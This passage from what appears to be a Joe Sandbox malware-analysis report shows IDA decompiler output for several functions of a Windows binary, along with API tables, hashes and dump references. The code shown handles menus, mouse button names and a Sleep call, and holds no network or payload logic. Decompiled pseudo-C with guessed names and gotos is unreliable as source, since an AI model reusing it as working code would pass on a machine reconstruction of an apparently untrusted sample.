							do {
								__eax =  *( *(__esp + 0x4c));
								__eflags = __eax;
								if(__eax == 0) {
									goto L11;
								}
								__ecx = __esp + 0x18;
								__eax = GetMenuItemInfoW( *__eax, __ebp, 0, __ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L11;
								}
								__eflags =  *(__esp + 0x24) & 0x00001000;
								if(( *(__esp + 0x24) & 0x00001000) == 0) {
									goto L11;
								}
								__eax =  *(__esp + 0x4c);
								__ecx =  *( *(__esp + 0x4c));
								__eflags = __ecx->cbSize -  *__esi;
								if(__eflags == 0) {
									_push(__ebp);
									_push(__esi);
									__eax = E00453AB0(__ecx, __eflags);
									goto L14;
								}
								L11:
								 *(__esp + 0x4c) =  *(__esp + 0x4c) + __edi;
								__ebp = __ebp + 1;
								__eflags = __ebp -  *((intOrPtr*)(__esi + 0x9c0));
							} while (__eflags <= 0);
							_push(0xfffffff3);
							goto L19;
						}
					case 4:
						__edi = 8;
						_push(0xfffffff7);
						goto L19;
					case 5:
						__edi = 0x10;
						_push(0xfffffff6);
						goto L19;
					case 6:
						__edi = 0x20;
						_push(0xfffffff2);
						L19:
						_push(_t86);
						_t49 = E00453A57(_t72, _t91);
						goto L20;
				}
			}















                                                                                                                                                                            0x004680eb
                                                                                                                                                                            0x004680eb
                                                                                                                                                                            0x004680f1
                                                                                                                                                                            0x004680ff
                                                                                                                                                                            0x00468107
                                                                                                                                                                            0x00468110
                                                                                                                                                                            0x00468116
                                                                                                                                                                            0x0046811b
                                                                                                                                                                            0x0046811e
                                                                                                                                                                            0x00468123
                                                                                                                                                                            0x004681f4
                                                                                                                                                                            0x004681f7
                                                                                                                                                                            0x00468366
                                                                                                                                                                            0x00468366
                                                                                                                                                                            0x0046820a
                                                                                                                                                                            0x00468214
                                                                                                                                                                            0x004682b8
                                                                                                                                                                            0x004682c1
                                                                                                                                                                            0x004682ca
                                                                                                                                                                            0x004682d3
                                                                                                                                                                            0x004682d5
                                                                                                                                                                            0x0046821a
                                                                                                                                                                            0x0046821e
                                                                                                                                                                            0x0046822b
                                                                                                                                                                            0x0046822d
                                                                                                                                                                            0x0046822f
                                                                                                                                                                            0x00468231
                                                                                                                                                                            0x00468233
                                                                                                                                                                            0x00468238
                                                                                                                                                                            0x0046823a
                                                                                                                                                                            0x0046823b
                                                                                                                                                                            0x00468245
                                                                                                                                                                            0x00468245
                                                                                                                                                                            0x0046824d
                                                                                                                                                                            0x0046824f
                                                                                                                                                                            0x00468251
                                                                                                                                                                            0x00468253
                                                                                                                                                                            0x00468254
                                                                                                                                                                            0x00468256
                                                                                                                                                                            0x00468257
                                                                                                                                                                            0x00468261
                                                                                                                                                                            0x00468266
                                                                                                                                                                            0x00468268
                                                                                                                                                                            0x0046826a
                                                                                                                                                                            0x0046826c
                                                                                                                                                                            0x00468271
                                                                                                                                                                            0x00468273
                                                                                                                                                                            0x00468274
                                                                                                                                                                            0x0046827e
                                                                                                                                                                            0x00468286
                                                                                                                                                                            0x00468288
                                                                                                                                                                            0x0046828a
                                                                                                                                                                            0x0046828c
                                                                                                                                                                            0x0046828d
                                                                                                                                                                            0x0046828f
                                                                                                                                                                            0x00468290
                                                                                                                                                                            0x0046829a
                                                                                                                                                                            0x0046829f
                                                                                                                                                                            0x004682a5
                                                                                                                                                                            0x004682a5
                                                                                                                                                                            0x0046821e
                                                                                                                                                                            0x004682dc
                                                                                                                                                                            0x004682e0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004682e2
                                                                                                                                                                            0x004682e6
                                                                                                                                                                            0x004682f2
                                                                                                                                                                            0x00468300
                                                                                                                                                                            0x00468307
                                                                                                                                                                            0x0046830f
                                                                                                                                                                            0x00468317
                                                                                                                                                                            0x00468317
                                                                                                                                                                            0x004682e8
                                                                                                                                                                            0x004682e8
                                                                                                                                                                            0x004682e8
                                                                                                                                                                            0x00468322
                                                                                                                                                                            0x00468328
                                                                                                                                                                            0x0046832d
                                                                                                                                                                            0x00468345
                                                                                                                                                                            0x00468352
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046835a
                                                                                                                                                                            0x004682e0
                                                                                                                                                                            0x004681f7
                                                                                                                                                                            0x00468129
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681e7
                                                                                                                                                                            0x004681ec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00468130
                                                                                                                                                                            0x00468135
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046813c
                                                                                                                                                                            0x00468141
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00468148
                                                                                                                                                                            0x0046814c
                                                                                                                                                                            0x00468151
                                                                                                                                                                            0x004681c8
                                                                                                                                                                            0x004681c8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681c8
                                                                                                                                                                            0x00468153
                                                                                                                                                                            0x00468158
                                                                                                                                                                            0x0046815a
                                                                                                                                                                            0x00468162
                                                                                                                                                                            0x0046816a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046816c
                                                                                                                                                                            0x0046816c
                                                                                                                                                                            0x00468172
                                                                                                                                                                            0x0046817b
                                                                                                                                                                            0x0046817f
                                                                                                                                                                            0x00468181
                                                                                                                                                                            0x00468183
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00468187
                                                                                                                                                                            0x00468190
                                                                                                                                                                            0x00468196
                                                                                                                                                                            0x00468198
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046819a
                                                                                                                                                                            0x004681a2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681a4
                                                                                                                                                                            0x004681a8
                                                                                                                                                                            0x004681ac
                                                                                                                                                                            0x004681ae
                                                                                                                                                                            0x004681c1
                                                                                                                                                                            0x004681c2
                                                                                                                                                                            0x004681c3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681c3
                                                                                                                                                                            0x004681b0
                                                                                                                                                                            0x004681b0
                                                                                                                                                                            0x004681b4
                                                                                                                                                                            0x004681b5
                                                                                                                                                                            0x004681b5
                                                                                                                                                                            0x004681bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681cc
                                                                                                                                                                            0x004681d1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681d5
                                                                                                                                                                            0x004681da
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004681de
                                                                                                                                                                            0x004681e3
                                                                                                                                                                            0x004681ee
                                                                                                                                                                            0x004681ee
                                                                                                                                                                            0x004681ef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 00468107
                                                                                                                                                                            • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                                                                                                            • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                                                                                                            • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                                                                                                            • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                                                                                                            • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                                                                                                            • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                                                                                                            • GetMenuItemCount.USER32 ref: 004682DC
                                                                                                                                                                            • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                                                                                                            • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                                                                                                            • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                                                                                                            • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                                                                                                            • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 3993528054-4108050209
                                                                                                                                                                            • Opcode ID: 6d3a2f3eb8c47eedf1f08a8f50307072e29792adae5a186b56623d1b4fa5e004
                                                                                                                                                                            • Instruction ID: 4340dc150aa643cd5d6a06a27257ae06321217f8787b0a6ddf92a2fea5d0b5ae
                                                                                                                                                                            • Opcode Fuzzy Hash: 6d3a2f3eb8c47eedf1f08a8f50307072e29792adae5a186b56623d1b4fa5e004
                                                                                                                                                                            • Instruction Fuzzy Hash: 7171C070648301ABE3308B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 91%
                                                                                                                                                                            			E0044B988(void* __edx, short* _a4) {
				signed char _t13;

				_t25 = _a4;
				if( *_a4 == 0 || E004115D0(__edx, _t25, L"LEFT") == 0) {
					return 1;
				} else {
					if(E004115D0(__edx, _t25, L"RIGHT") != 0) {
						if(E004115D0(__edx, _t25, L"MIDDLE") == 0) {
							return 3;
						} else {
							if(E004115D0(__edx, _t25, L"MAIN") == 0 || E004115D0(__edx, _t25, L"PRIMARY") == 0) {
								return (0 | E0040F0D0() != 0x00000000) + 1;
							} else {
								if(E004115D0(__edx, _t25, L"MENU") == 0 || E004115D0(__edx, _t25, L"SECONDARY") == 0) {
									_t13 = E0040F0D0();
									asm("sbb eax, eax");
									return  ~(_t13 & 0x000000ff) + 2;
								} else {
									return 0;
								}
							}
						}
					} else {
						return 2;
					}
				}
			}




                                                                                                                                                                            0x0044b989
                                                                                                                                                                            0x0044b991
                                                                                                                                                                            0x0044ba3a
                                                                                                                                                                            0x0044b9ad
                                                                                                                                                                            0x0044b9bd
                                                                                                                                                                            0x0044ba4b
                                                                                                                                                                            0x0044ba57
                                                                                                                                                                            0x0044b9c6
                                                                                                                                                                            0x0044b9d6
                                                                                                                                                                            0x0044ba33
                                                                                                                                                                            0x0044b9ea
                                                                                                                                                                            0x0044b9fa
                                                                                                                                                                            0x0044ba12
                                                                                                                                                                            0x0044ba1c
                                                                                                                                                                            0x0044ba22
                                                                                                                                                                            0x0044ba0e
                                                                                                                                                                            0x0044ba11
                                                                                                                                                                            0x0044ba11
                                                                                                                                                                            0x0044b9fa
                                                                                                                                                                            0x0044b9d6
                                                                                                                                                                            0x0044b9bf
                                                                                                                                                                            0x0044b9c5
                                                                                                                                                                            0x0044b9c5
                                                                                                                                                                            0x0044b9bd

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __wcsicoll
                                                                                                                                                                            • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                                                                                                            • API String ID: 3832890014-4202584635
                                                                                                                                                                            • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                            • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                                                                                                            • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                                                                                                            • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 94%
                                                                                                                                                                            			E0045F48E(void* __eflags, void* __fp0, int _a4, int _a8, int _a12) {
				struct tagMENUITEMINFOW _v48;
				int _v52;
				char _v56;
				void* __ebx;
				void* __edi;
				struct HMENU__** _t64;
				signed int _t76;
				int _t77;
				signed int _t80;
				intOrPtr _t81;
				signed int _t83;
				intOrPtr _t84;
				signed int _t86;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				void* _t108;
				int _t109;
				int _t110;
				int _t111;
				int _t114;
				int _t115;
				struct HMENU__** _t116;
				unsigned int _t117;
				signed int _t118;
				struct HMENU__* _t119;
				void* _t125;

				_t125 = __fp0;
				_t117 = _a8;
				_t116 = _a4;
				_v48.cbSize = 0x30;
				E004131F0(_t108,  &(_v48.fMask), 0, 0x2c);
				_t97 =  &_a8;
				_t95 = _t94 | 0xffffffff;
				_v48.fMask = 1;
				_a8 = _t95;
				if(E00437314(_t116, _t117 & 0x0000ffff,  &_a8) == 0) {
					L38:
					__eflags = 0;
					return 0;
				} else {
					_t109 = _a8;
					_t64 =  *(_t116 + 0x1a4 + _t109 * 4);
					if(_t109 != 3) {
						__eflags = _t109 - 4;
						if(_t109 != 4) {
							_t118 = _t117 >> 0x10;
							__eflags = _t118;
							if(_t118 != 0) {
								goto L38;
							} else {
								__eflags = _a12 - _t118;
								if(_a12 != _t118) {
									goto L38;
								} else {
									__eflags =  *0x497294;
									if( *0x497294 != 0) {
										goto L38;
									} else {
										__eflags = _t116[1];
										_t119 =  *_t64;
										if(_t116[1] == 0) {
											L34:
											__eflags = _t116[1];
											if(__eflags == 0) {
												goto L33;
											} else {
												GetMenuItemInfoW(_t119, _t109, 0,  &_v48);
												__eflags = _v48.fState & 0x00000008;
												if((_v48.fState & 0x00000008) == 0) {
													_t57 =  &(_v48.fState);
													 *_t57 = _v48.fState | 0x00000008;
													__eflags =  *_t57;
													SetMenuItemInfoW(_t119, _t109, 0,  &_v48);
													_push(_t109);
													_push(_t116);
													E00453AB0( &_v48, __eflags);
													return 1;
												} else {
													_t54 =  &(_v48.fState);
													 *_t54 = _v48.fState ^ 0x00000008;
													__eflags =  *_t54;
													SetMenuItemInfoW(_t119, _t109, 0,  &_v48);
													_push(_t109);
													_push(_t116);
													E00453AB0( &_v48, __eflags);
													return 1;
												}
											}
										} else {
											__eflags = _t64[1];
											if(_t64[1] == 0) {
												goto L34;
											} else {
												_a4 = _t95;
												_t76 = GetMenuItemCount(_t119);
												__eflags = _t116[1];
												_t96 = _t76;
												if(_t116[1] != 0) {
													_t96 = _t96 - 4;
													__eflags = _t96;
												}
												_t110 = 0;
												__eflags = _t96;
												if(_t96 <= 0) {
													_t77 = _a4;
													goto L21;
												} else {
													while(1) {
														_t77 = GetMenuItemID(_t119, _t110);
														__eflags = _t77 - _a8;
														if(_t77 == _a8) {
															break;
														}
														_t110 = _t110 + 1;
														__eflags = _t110 - _t96;
														if(_t110 < _t96) {
															continue;
														} else {
															L21:
															__eflags = _t77 - _a8;
															if(__eflags == 0) {
																break;
															}
														}
														goto L32;
													}
													_a12 = _t110;
													_t111 = _t110 - 1;
													__eflags = _t111;
													while(_t111 >= 0) {
														_a4 = GetMenuItemID(_t119, _t111);
														_t83 = E00437314(_t116, _t82,  &_v56);
														__eflags = _t83;
														if(_t83 == 0) {
															goto L26;
														} else {
															_t84 =  *((intOrPtr*)(_t116 + 0x1a4 + _a4 * 4));
															__eflags =  *((char*)(_t84 + 5));
															if( *((char*)(_t84 + 5)) != 0) {
																goto L26;
															}
														}
														goto L27;
														L26:
														_t111 = _t111 - 1;
														__eflags = _t111;
													}
													L27:
													_v52 = _t111 + 1;
													_t114 = _a12 + 1;
													__eflags = _t114 - _t96;
													while(_t114 < _t96) {
														_a4 = GetMenuItemID(_t119, _t114);
														_t80 = E00437314(_t116, _t79,  &_v56);
														__eflags = _t80;
														if(_t80 == 0) {
															goto L30;
														} else {
															_t81 =  *((intOrPtr*)(_t116 + 0x1a4 + _a4 * 4));
															__eflags =  *((char*)(_t81 + 5));
															if( *((char*)(_t81 + 5)) != 0) {
																goto L30;
															}
														}
														goto L31;
														L30:
														_t114 = _t114 + 1;
														__eflags = _t114 - _t96;
													}
													L31:
													_t97 = _a12;
													_t115 = _t114 - 1;
													__eflags = _t115;
													CheckMenuRadioItem(_t119, _v52, _t115, _a12, 0x400);
												}
												L32:
												_t109 = _a8;
												L33:
												_push(_t109);
												_push(_t116);
												E00453AB0(_t97, __eflags);
												return 1;
											}
										}
									}
								}
							}
						} else {
							_t86 = GetMenuItemInfoW( *_t116, _t109, 0,  &_v48);
							__eflags = _t86;
							if(_t86 == 0) {
								goto L38;
							} else {
								__eflags = _v48.fState & 0x00000008;
								if((_v48.fState & 0x00000008) == 0) {
									_t18 =  &(_v48.fState);
									 *_t18 = _v48.fState | 0x00000008;
									__eflags =  *_t18;
									 *0x497294 = 1;
								} else {
									_v48.fState = _v48.fState ^ 0x00000008;
									 *0x497294 = 0;
								}
								SetMenuItemInfoW( *_t116, 4, 0,  &_v48);
								E00401E70(_t116, _t95, _t125);
								Sleep(0x1f4);
								return 1;
							}
						}
					} else {
						 *0x497298 = 2;
						 *0x49728e = 1;
						return 1;
					}
				}
			}






























                                                                                                                                                                            0x0045f48e
                                                                                                                                                                            0x0045f493
                                                                                                                                                                            0x0045f498
                                                                                                                                                                            0x0045f4a6
                                                                                                                                                                            0x0045f4ae
                                                                                                                                                                            0x0045f4b6
                                                                                                                                                                            0x0045f4bf
                                                                                                                                                                            0x0045f4c3
                                                                                                                                                                            0x0045f4cb
                                                                                                                                                                            0x0045f4d6
                                                                                                                                                                            0x0045f70e
                                                                                                                                                                            0x0045f70e
                                                                                                                                                                            0x0045f714
                                                                                                                                                                            0x0045f4dc
                                                                                                                                                                            0x0045f4dc
                                                                                                                                                                            0x0045f4e0
                                                                                                                                                                            0x0045f4ea
                                                                                                                                                                            0x0045f509
                                                                                                                                                                            0x0045f50c
                                                                                                                                                                            0x0045f57a
                                                                                                                                                                            0x0045f57d
                                                                                                                                                                            0x0045f57f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f585
                                                                                                                                                                            0x0045f585
                                                                                                                                                                            0x0045f589
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f58f
                                                                                                                                                                            0x0045f58f
                                                                                                                                                                            0x0045f596
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f59c
                                                                                                                                                                            0x0045f59c
                                                                                                                                                                            0x0045f5a0
                                                                                                                                                                            0x0045f5a2
                                                                                                                                                                            0x0045f69f
                                                                                                                                                                            0x0045f69f
                                                                                                                                                                            0x0045f6a3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f6a5
                                                                                                                                                                            0x0045f6ae
                                                                                                                                                                            0x0045f6b9
                                                                                                                                                                            0x0045f6bd
                                                                                                                                                                            0x0045f6e5
                                                                                                                                                                            0x0045f6e5
                                                                                                                                                                            0x0045f6e5
                                                                                                                                                                            0x0045f6f2
                                                                                                                                                                            0x0045f6f8
                                                                                                                                                                            0x0045f6f9
                                                                                                                                                                            0x0045f6fa
                                                                                                                                                                            0x0045f708
                                                                                                                                                                            0x0045f6bf
                                                                                                                                                                            0x0045f6bf
                                                                                                                                                                            0x0045f6bf
                                                                                                                                                                            0x0045f6bf
                                                                                                                                                                            0x0045f6cc
                                                                                                                                                                            0x0045f6d2
                                                                                                                                                                            0x0045f6d3
                                                                                                                                                                            0x0045f6d4
                                                                                                                                                                            0x0045f6e2
                                                                                                                                                                            0x0045f6e2
                                                                                                                                                                            0x0045f6bd
                                                                                                                                                                            0x0045f5a8
                                                                                                                                                                            0x0045f5a8
                                                                                                                                                                            0x0045f5ac
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f5b2
                                                                                                                                                                            0x0045f5b3
                                                                                                                                                                            0x0045f5b7
                                                                                                                                                                            0x0045f5bd
                                                                                                                                                                            0x0045f5c1
                                                                                                                                                                            0x0045f5c3
                                                                                                                                                                            0x0045f5c5
                                                                                                                                                                            0x0045f5c5
                                                                                                                                                                            0x0045f5c5
                                                                                                                                                                            0x0045f5c8
                                                                                                                                                                            0x0045f5ca
                                                                                                                                                                            0x0045f5cc
                                                                                                                                                                            0x0045f5e3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f5ce
                                                                                                                                                                            0x0045f5ce
                                                                                                                                                                            0x0045f5d0
                                                                                                                                                                            0x0045f5d6
                                                                                                                                                                            0x0045f5da
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f5dc
                                                                                                                                                                            0x0045f5dd
                                                                                                                                                                            0x0045f5df
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f5e1
                                                                                                                                                                            0x0045f5e7
                                                                                                                                                                            0x0045f5e7
                                                                                                                                                                            0x0045f5eb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f5eb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f5df
                                                                                                                                                                            0x0045f5f1
                                                                                                                                                                            0x0045f5f5
                                                                                                                                                                            0x0045f5f5
                                                                                                                                                                            0x0045f5f8
                                                                                                                                                                            0x0045f60d
                                                                                                                                                                            0x0045f611
                                                                                                                                                                            0x0045f616
                                                                                                                                                                            0x0045f618
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f61a
                                                                                                                                                                            0x0045f61e
                                                                                                                                                                            0x0045f625
                                                                                                                                                                            0x0045f629
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f629
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f62b
                                                                                                                                                                            0x0045f62b
                                                                                                                                                                            0x0045f62b
                                                                                                                                                                            0x0045f62b
                                                                                                                                                                            0x0045f630
                                                                                                                                                                            0x0045f631
                                                                                                                                                                            0x0045f639
                                                                                                                                                                            0x0045f63a
                                                                                                                                                                            0x0045f63c
                                                                                                                                                                            0x0045f64d
                                                                                                                                                                            0x0045f651
                                                                                                                                                                            0x0045f656
                                                                                                                                                                            0x0045f658
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f65a
                                                                                                                                                                            0x0045f65e
                                                                                                                                                                            0x0045f665
                                                                                                                                                                            0x0045f669
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f669
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f66b
                                                                                                                                                                            0x0045f66b
                                                                                                                                                                            0x0045f66c
                                                                                                                                                                            0x0045f66c
                                                                                                                                                                            0x0045f670
                                                                                                                                                                            0x0045f670
                                                                                                                                                                            0x0045f67e
                                                                                                                                                                            0x0045f67e
                                                                                                                                                                            0x0045f682
                                                                                                                                                                            0x0045f682
                                                                                                                                                                            0x0045f688
                                                                                                                                                                            0x0045f688
                                                                                                                                                                            0x0045f68c
                                                                                                                                                                            0x0045f68c
                                                                                                                                                                            0x0045f68d
                                                                                                                                                                            0x0045f68e
                                                                                                                                                                            0x0045f69c
                                                                                                                                                                            0x0045f69c
                                                                                                                                                                            0x0045f5ac
                                                                                                                                                                            0x0045f5a2
                                                                                                                                                                            0x0045f596
                                                                                                                                                                            0x0045f589
                                                                                                                                                                            0x0045f50e
                                                                                                                                                                            0x0045f519
                                                                                                                                                                            0x0045f51f
                                                                                                                                                                            0x0045f521
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f527
                                                                                                                                                                            0x0045f52c
                                                                                                                                                                            0x0045f530
                                                                                                                                                                            0x0045f53f
                                                                                                                                                                            0x0045f53f
                                                                                                                                                                            0x0045f53f
                                                                                                                                                                            0x0045f543
                                                                                                                                                                            0x0045f532
                                                                                                                                                                            0x0045f532
                                                                                                                                                                            0x0045f536
                                                                                                                                                                            0x0045f536
                                                                                                                                                                            0x0045f556
                                                                                                                                                                            0x0045f55e
                                                                                                                                                                            0x0045f568
                                                                                                                                                                            0x0045f577
                                                                                                                                                                            0x0045f577
                                                                                                                                                                            0x0045f521
                                                                                                                                                                            0x0045f4ec
                                                                                                                                                                            0x0045f4ec
                                                                                                                                                                            0x0045f4f6
                                                                                                                                                                            0x0045f506
                                                                                                                                                                            0x0045f506
                                                                                                                                                                            0x0045f4ea

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 0045F4AE
                                                                                                                                                                            • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                                                                                                            • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                                                                                                            • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: InfoItemMenu$Sleep_memset
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 1504565804-4108050209
                                                                                                                                                                            • Opcode ID: a0187d59ff87fa41a03bb4d21dbb4f0370dcd754a2a60340bffe414ce63b3a66
                                                                                                                                                                            • Instruction ID: f442292141210e4664d210e26ccee3fd9952f46b07198f25d2fda28500c1543b
                                                                                                                                                                            • Opcode Fuzzy Hash: a0187d59ff87fa41a03bb4d21dbb4f0370dcd754a2a60340bffe414ce63b3a66
                                                                                                                                                                            • Instruction Fuzzy Hash: E271E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045FFA9 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 130windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 84%
                                                                                                                                                                            			E0045FFA9(WCHAR* __edx, void* __fp0, WCHAR* _a4, intOrPtr _a12, char _a20, char _a24, char _a40, WCHAR* _a56, short _a72, intOrPtr _a8268, int _a8272, intOrPtr _a8276) {
				char _v0;
				char _v4;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t30;
				intOrPtr _t40;
				signed int _t62;
